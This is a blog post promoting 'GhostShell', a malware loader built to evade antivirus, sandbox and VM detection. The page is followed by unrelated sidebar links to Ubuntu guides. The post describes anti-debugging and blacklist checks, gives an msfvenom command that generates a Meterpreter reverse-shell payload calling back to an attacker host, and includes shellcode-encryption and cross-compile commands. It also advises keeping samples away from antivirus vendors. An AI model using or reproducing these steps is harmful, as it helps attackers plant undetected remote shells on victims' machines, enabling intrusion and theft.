GhostShell : Malware Indetectable With AV Bypass Techniques & Anti-Disassembly

GhostShell is a Malware indetectable, with AV bypass techniques, anti-disassembly, etc. In this malware, are used some techniques to try bypass the AVs, VMs, and Sandboxes, with only porpuse to learning more. I’m not responsible for your actions.

Attention!!!

To check if the antivirus is detecting the malware, NEVER send it to the virustotal, IT WILL BE SENT TO THE ANTIVIRUS COMPANIES AND WILL BE BROKEN, to analyze, send it to https://www.hybrid-analysis.com/ and remember to check the option “Do not send my sample to non-affiliated third parties”, as in the example below.

Also Read – Faraday : Collaborative Penetration Test & Vulnerability Management Platform

Bypass Techniques

  • Anti-Debugger : To try bypass the Debuggers, I’m using the “IsDebuggerPresent()” of “Windows.h” librarie to checks if a debugger is running.
  • Anti-VM / Anti-Sandbox / Anti-AV
    • Enumerate Process Function Enumerates all process running on the system, and compares to the process in the black-list, if found a process and this is equal to any process in the black-list returns -1 (identified).
    • Sleep Acceleration Check Function First, gets the current time, and sleeps 2 minutes, then, gets the time again, and compare, if the difference is less than 2, returns -1 (identified).
    • Mac Address Check Function Gets the system mac address and compare to the macs, in the black-list, if the system mac address is equal to any mac in the black-list returns -1 (identified).

Generating the Shellcode

To generate the shellcode type in the terminal: msfvenom -p windows/meterpreter/reverse_shell lhost=(IP) lport=(PORT) -f c, copy the shellcode generated and encrypt it.

  • To encrypt shellcode use the encrypt_shellcode script.
    • On linux type: ./encrypt_shellcode e "(KEY, ex: "\xda\xe6\x1d\x5c\x9v\x8d") "(shellcode)""
    • On windows type: encrypt_shellcode.exe e "(KEY, ex: "\xda\xe6\x1d\x5c\x9v\x8d") "(YOUR_SHELLCODE)""

How to compile for Windows on Linux?

To compile for Windows on Linux, first, install mingw-w64: sudo apt-get install mingw-w64, then, to compile for 32 bits: i686-w64-mingw32-gcc -o main.exe main.c -l psapi -static, and to 64 bits: x86_64-w64-mingw32 -o main.exe main.c -l psapi -static

R K

Recent Posts

Install TensorFlow on Ubuntu 18.04: Python venv Setup and Usage

TensorFlow is a free, open-source machine learning platform developed by Google. It is used by major…

17 hours ago

Install Minecraft Server on Ubuntu 18.04: Systemd Setup Guide

Minecraft is one of the most popular games ever made — a sandbox game where players…

18 hours ago

Install CouchDB on Ubuntu 18.04: Setup and Configuration Guide

CouchDB is a free, open-source NoSQL database maintained by the Apache Software Foundation. Unlike traditional relational…

20 hours ago

Install Docker Compose on Ubuntu 18.04: Setup and Usage Guide

Docker Compose is a tool that lets you define and run multi-container Docker applications using a…

20 hours ago

Install PHP Composer on Ubuntu 18.04: Setup and Getting Started

Composer is a dependency manager for PHP. It works similarly to npm for Node.js or pip…

20 hours ago

Install and Configure Squid Proxy on Ubuntu 18.04: Setup Guide

Squid is a full-featured caching proxy server that supports HTTP, HTTPS, and FTP. It is most…

2 days ago